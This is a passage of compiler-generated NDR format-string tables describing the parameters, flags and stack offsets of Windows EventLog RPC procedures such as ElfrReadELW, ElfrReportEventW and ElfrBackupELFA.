0x5a ),\t/* Type Offset=90 */\n\n\t/* Parameter ModuleName */\n\n/* 382 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 384 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 386 */\tNdrFcShort( 0x30 ),\t/* Type Offset=48 */\n\n\t/* Parameter RegModuleName */\n\n/* 388 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 390 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 392 */\tNdrFcShort( 0x30 ),\t/* Type Offset=48 */\n\n\t/* Parameter MajorVersion */\n\n/* 394 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 396 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 398 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter MinorVersion */\n\n/* 400 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 402 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 404 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter LogHandle */\n\n/* 406 */\tNdrFcShort( 0x110 ),\t/* Flags:  out, simple ref, */\n/* 408 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 410 */\tNdrFcShort( 0x62 ),\t/* Type Offset=98 */\n\n\t/* Return value */\n\n/* 412 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 414 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 416 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure ElfrRegisterEventSourceW */\n\n/* 418 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 420 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 424 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 426 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 428 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 430 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 432 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 434 */\tNdrFcShort( 0x2a ),\t/* 42 */\n/* 436 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 438 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x7,\t\t/* 7 */\n/* 440 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 442 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 444 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 446 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 448 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter UNCServerName */\n\n/* 450 */\tNdrFcShort( 0xa ),\t/* Flags:  must free, in, */\n/* 452 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 454 */\tNdrFcShort( 0x5a ),\t/* Type Offset=90 */\n\n\t/* Parameter ModuleName */\n\n/* 456 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 458 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 460 */\tNdrFcShort( 0x30 ),\t/* Type Offset=48 */\n\n\t/* Parameter RegModuleName */\n\n/* 462 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 464 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 466 */\tNdrFcShort( 0x30 ),\t/* Type Offset=48 */\n\n\t/* Parameter MajorVersion */\n\n/* 468 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 470 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 472 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter MinorVersion */\n\n/* 474 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 476 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 478 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter LogHandle */\n\n/* 480 */\tNdrFcShort( 0x110 ),\t/* Flags:  out, simple ref, */\n/* 482 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 484 */\tNdrFcShort( 0x62 ),\t/* Type Offset=98 */\n\n\t/* Return value */\n\n/* 486 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 488 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 490 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure ElfrOpenBELW */\n\n/* 492 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 494 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 498 */\tNdrFcShort( 0x9 ),\t/* 9 */\n/* 500 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 502 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 504 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 506 */\t0x0,\t\t/* 0 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 508 */\tNdrFcShort( 0x2a ),\t/* 42 */\n/* 510 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 512 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x6,\t\t/* 6 */\n/* 514 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 516 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 518 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 520 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 522 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter UNCServerName */\n\n/* 524 */\tNdrFcShort( 0xa ),\t/* Flags:  must free, in, */\n/* 526 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 528 */\tNdrFcShort( 0x5a ),\t/* Type Offset=90 */\n\n\t/* Parameter BackupFileName */\n\n/* 530 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 532 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 534 */\tNdrFcShort( 0x30 ),\t/* Type Offset=48 */\n\n\t/* Parameter MajorVersion */\n\n/* 536 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 538 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 540 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter MinorVersion */\n\n/* 542 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 544 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 546 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter LogHandle */\n\n/* 548 */\tNdrFcShort( 0x110 ),\t/* Flags:  out, simple ref, */\n/* 550 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 552 */\tNdrFcShort( 0x62 ),\t/* Type Offset=98 */\n\n\t/* Return value */\n\n/* 554 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 556 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 558 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure ElfrReadELW */\n\n/* 560 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 562 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 566 */\tNdrFcShort( 0xa ),\t/* 10 */\n/* 568 */\tNdrFcShort( 0x40 ),\t/* X64 Stack size/offset = 64 */\n/* 570 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 572 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 574 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 576 */\tNdrFcShort( 0x3c ),\t/* 60 */\n/* 578 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 580 */\t0x45,\t\t/* Oi2 Flags:  srv must size, has return, has ext, */\n\t\t\t0x8,\t\t/* 8 */\n/* 582 */\t0xa,\t\t/* 10 */\n\t\t\t0x43,\t\t/* Ext Flags:  new corr desc, clt corr check, has range on conformance */\n/* 584 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 586 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 588 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 590 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter LogHandle */\n\n/* 592 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 594 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 596 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter ReadFlags */\n\n/* 598 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 600 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 602 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter RecordOffset */\n\n/* 604 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 606 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 608 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter NumberOfBytesToRead */\n\n/* 610 */\tNdrFcShort( 0x88 ),\t/* Flags:  in, by val, */\n/* 612 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 614 */\tNdrFcShort( 0x66 ),\t/* 102 */\n\n\t/* Parameter Buffer */\n\n/* 616 */\tNdrFcShort( 0x113 ),\t/* Flags:  must size, must free, out, simple ref, */\n/* 618 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 620 */\tNdrFcShort( 0x74 ),\t/* Type Offset=116 */\n\n\t/* Parameter NumberOfBytesRead */\n\n/* 622 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 624 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 626 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter MinNumberOfBytesNeeded */\n\n/* 628 */\tNdrFcShort( 0x2150 ),\t/* Flags:  out, base type, simple ref, srv alloc size=8 */\n/* 630 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 632 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Return value */\n\n/* 634 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 636 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 638 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure ElfrReportEventW */\n\n/* 640 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 642 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 646 */\tNdrFcShort( 0xb ),\t/* 11 */\n/* 648 */\tNdrFcShort( 0x78 ),\t/* X64 Stack size/offset = 120 */\n/* 650 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 652 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 654 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 656 */\tNdrFcShort( 0x8c ),\t/* 140 */\n/* 658 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 660 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0xf,\t\t/* 15 */\n/* 662 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 664 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 666 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 668 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 670 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter LogHandle */\n\n/* 672 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 674 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 676 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter Time */\n\n/* 678 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 680 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 682 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter EventType */\n\n/* 684 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 686 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 688 */\t0x6,\t\t/* FC_SHORT */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter EventCategory */\n\n/* 690 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 692 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 694 */\t0x6,\t\t/* FC_SHORT */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter EventID */\n\n/* 696 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 698 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 700 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter NumStrings */\n\n/* 702 */\tNdrFcShort( 0x88 ),\t/* Flags:  in, by val, */\n/* 704 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 706 */\tNdrFcShort( 0x8a ),\t/* 138 */\n\n\t/* Parameter DataSize */\n\n/* 708 */\tNdrFcShort( 0x88 ),\t/* Flags:  in, by val, */\n/* 710 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 712 */\tNdrFcShort( 0x94 ),\t/* 148 */\n\n\t/* Parameter ComputerName */\n\n/* 714 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 716 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 718 */\tNdrFcShort( 0x30 ),\t/* Type Offset=48 */\n\n\t/* Parameter UserSID */\n\n/* 720 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 722 */\tNdrFcShort( 0x40 ),\t/* X64 Stack size/offset = 64 */\n/* 724 */\tNdrFcShort( 0x9e ),\t/* Type Offset=158 */\n\n\t/* Parameter Strings */\n\n/* 726 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 728 */\tNdrFcShort( 0x48 ),\t/* X64 Stack size/offset = 72 */\n/* 730 */\tNdrFcShort( 0xd6 ),\t/* Type Offset=214 */\n\n\t/* Parameter Data */\n\n/* 732 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 734 */\tNdrFcShort( 0x50 ),\t/* X64 Stack size/offset = 80 */\n/* 736 */\tNdrFcShort( 0x104 ),\t/* Type Offset=260 */\n\n\t/* Parameter Flags */\n\n/* 738 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 740 */\tNdrFcShort( 0x58 ),\t/* X64 Stack size/offset = 88 */\n/* 742 */\t0x6,\t\t/* FC_SHORT */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter RecordNumber */\n\n/* 744 */\tNdrFcShort( 0x1a ),\t/* Flags:  must free, in, out, */\n/* 746 */\tNdrFcShort( 0x60 ),\t/* X64 Stack size/offset = 96 */\n/* 748 */\tNdrFcShort( 0x11e ),\t/* Type Offset=286 */\n\n\t/* Parameter TimeWritten */\n\n/* 750 */\tNdrFcShort( 0x1a ),\t/* Flags:  must free, in, out, */\n/* 752 */\tNdrFcShort( 0x68 ),\t/* X64 Stack size/offset = 104 */\n/* 754 */\tNdrFcShort( 0x11e ),\t/* Type Offset=286 */\n\n\t/* Return value */\n\n/* 756 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 758 */\tNdrFcShort( 0x70 ),\t/* X64 Stack size/offset = 112 */\n/* 760 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure ElfrClearELFA */\n\n/* 762 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 764 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 768 */\tNdrFcShort( 0xc ),\t/* 12 */\n/* 770 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 772 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 774 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 776 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 778 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 780 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 782 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x3,\t\t/* 3 */\n/* 784 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 786 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 788 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 790 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 792 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter LogHandle */\n\n/* 794 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 796 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 798 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter BackupFileName */\n\n/* 800 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 802 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 804 */\tNdrFcShort( 0x122 ),\t/* Type Offset=290 */\n\n\t/* Return value */\n\n/* 806 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 808 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 810 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure ElfrBackupELFA */\n\n/* 812 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 814 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 818 */\tNdrFcShort( 0xd ),\t/* 13 */\n/* 820 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 822 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0x40,\t\t/* Ctxt flags:  in, */\n/* 824 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 826 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 828 */\tNdrFcShort( 0x24 ),\t/* 36 */\n/* 830 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 832 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x3,\t\t/* 3 */\n/* 834 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 836 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 838 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 840 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 842 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter LogHandle */\n\n/* 844 */\tNdrFcShort( 0x8 ),\t/* Flags:  in, */\n/* 846 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 848 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter BackupFileName */\n\n/* 850 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 852 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 854 */\tNdrFcShort( 0x13c ),\t/* Type Offset=316 */\n\n\t/* Return value */\n\n/* 856 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 858 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 860 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure ElfrOpenELA */\n\n/* 862 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 864 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 868 */\tNdrFcShort( 0xe ),\t/* 14 */\n/* 870 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 872 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 874 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 876 */\t0x1,\t\t/* 1 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 878 */\tNdrFcShort( 0x29 ),\t/* 41 */\n/* 880 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 882 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x7,\t\t/* 7 */\n/* 884 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 886 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 888 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 890 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 892 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter UNCServerName */\n\n/* 894 */\tNdrFcShort( 0xa ),\t/* Flags:  must free, in, */\n/* 896 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 898 */\tNdrFcShort( 0x152 ),\t/* Type Offset=338 */\n\n\t/* Parameter ModuleName */\n\n/* 900 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 902 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 904 */\tNdrFcShort( 0x13c ),\t/* Type Offset=316 */\n\n\t/* Parameter RegModuleName */\n\n/* 906 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 908 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 910 */\tNdrFcShort( 0x13c ),\t/* Type Offset=316 */\n\n\t/* Parameter MajorVersion */\n\n/* 912 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 914 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 916 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter MinorVersion */\n\n/* 918 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 920 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 922 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter LogHandle */\n\n/* 924 */\tNdrFcShort( 0x110 ),\t/* Flags:  out, simple ref, */\n/* 926 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 928 */\tNdrFcShort( 0x62 ),\t/* Type Offset=98 */\n\n\t/* Return value */\n\n/* 930 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 932 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 934 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure ElfrRegisterEventSourceA */\n\n/* 936 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 938 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 942 */\tNdrFcShort( 0xf ),\t/* 15 */\n/* 944 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 946 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 948 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 950 */\t0x1,\t\t/* 1 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 952 */\tNdrFcShort( 0x29 ),\t/* 41 */\n/* 954 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 956 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x7,\t\t/* 7 */\n/* 958 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 960 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 962 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 964 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 966 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter UNCServerName */\n\n/* 968 */\tNdrFcShort( 0xa ),\t/* Flags:  must free, in, */\n/* 970 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 972 */\tNdrFcShort( 0x152 ),\t/* Type Offset=338 */\n\n\t/* Parameter ModuleName */\n\n/* 974 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 976 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 978 */\tNdrFcShort( 0x13c ),\t/* Type Offset=316 */\n\n\t/* Parameter RegModuleName */\n\n/* 980 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 982 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 984 */\tNdrFcShort( 0x13c ),\t/* Type Offset=316 */\n\n\t/* Parameter MajorVersion */\n\n/* 986 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 988 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 990 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter MinorVersion */\n\n/* 992 */\tNdrFcShort( 0x48 ),\t/* Flags:  in, base type, */\n/* 994 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 996 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Parameter LogHandle */\n\n/* 998 */\tNdrFcShort( 0x110 ),\t/* Flags:  out, simple ref, */\n/* 1000 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 1002 */\tNdrFcShort( 0x62 ),\t/* Type Offset=98 */\n\n\t/* Return value */\n\n/* 1004 */\tNdrFcShort( 0x70 ),\t/* Flags:  out, return, base type, */\n/* 1006 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 1008 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x0,\t\t/* 0 */\n\n\t/* Procedure ElfrOpenBELA */\n\n/* 1010 */\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/* 1012 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1016 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 1018 */\tNdrFcShort( 0x30 ),\t/* X64 Stack size/offset = 48 */\n/* 1020 */\t0x31,\t\t/* FC_BIND_GENERIC */\n\t\t\t0x8,\t\t/* 8 */\n/* 1022 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 1024 */\t0x1,\t\t/* 1 */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1026 */\tNdrFcShort( 0x29 ),\t/* 41 */\n/* 1028 */\tNdrFcShort( 0x40 ),\t/* 